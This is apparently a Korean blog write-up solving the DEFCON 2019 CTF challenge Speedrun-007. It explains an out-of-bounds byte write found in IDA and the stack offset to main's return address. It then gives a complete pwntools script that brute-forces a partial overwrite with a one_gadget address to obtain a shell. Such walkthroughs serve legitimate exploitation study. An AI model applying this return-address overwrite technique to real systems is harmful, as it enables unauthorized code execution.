How to Solve

  1. IDA
image

buf에 1024바이트만큼 입력받고 n이 아닌 다른 입력을 주면 v1(2byte), v2(1byte)를 입력받아 buf[v1]=v2를 실행한다. v1에 제한이 없으므로 다른 값들을 변경시킬 수 있다.


Design the Payload

Return address of main()

image
  1. pd __libc_start_main을 해보니 call rax에서 main함수를 호출하고 다다음 call에서 main 함수를 종료시킨다는 걸 알 수 있다. 따라서 main함수의 RET는 <__libc_start_main+231>라는 걸 알 수 있다.
image
  1. <__libc_start_main>+2310x7ffdf7e28788에 있고 우리가 buf에 입력한 A는 0x7ffdf7e28150으로 거리는 0x638이다. one_gadget으로 덮어주자.

one_gadget

image

근데 우리가 아는 것은 오프셋이지 정확한 주소값이 아니다. 뒤에 세자리만 정확하지 그 앞 세자리는 부정확하다. 따라서 brute force를 하자.


Exploit

from pwn import *
i=0
while(True):
  print(i)
  p=process('./speedrun-007')
  onegadget_offset = 0x4f322
  # 0xa33322
  p.sendafter('time\n', 'A')
  p.sendafter('?\n', 'y')
  p.send(p16(0x638))
  p.send(p8(0x22))

  p.sendafter('?\n', 'y')
  p.send(p16(0x638+1))
  p.send(p8(0x33))

  p.sendafter('?\n', 'y')
  p.send(p16(0x638+2))
  p.send(p8(0xa3))

  p.sendafter('?\n', 'n')
  p.recvuntil('L8R.\n')

  p.sendline('id')
  result = p.recvall(timeout=2)
  if 'uid' in result:
    print(result)
    break
  p.close()
  i+=1

Get The Shell

image

595번 만에 따졌다.


'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[zer0pts CTF 2020] diylist  (0) 2020.03.12
[zer0pts CTF 2020] hipwn  (0) 2020.03.11
DEFCON 2019 Speedrun-006  (0) 2020.03.07
DEFCON 2019 Speedrun-005  (0) 2020.03.07
DEFCON 2019 Speedrun-004  (0) 2020.03.07

+ Recent posts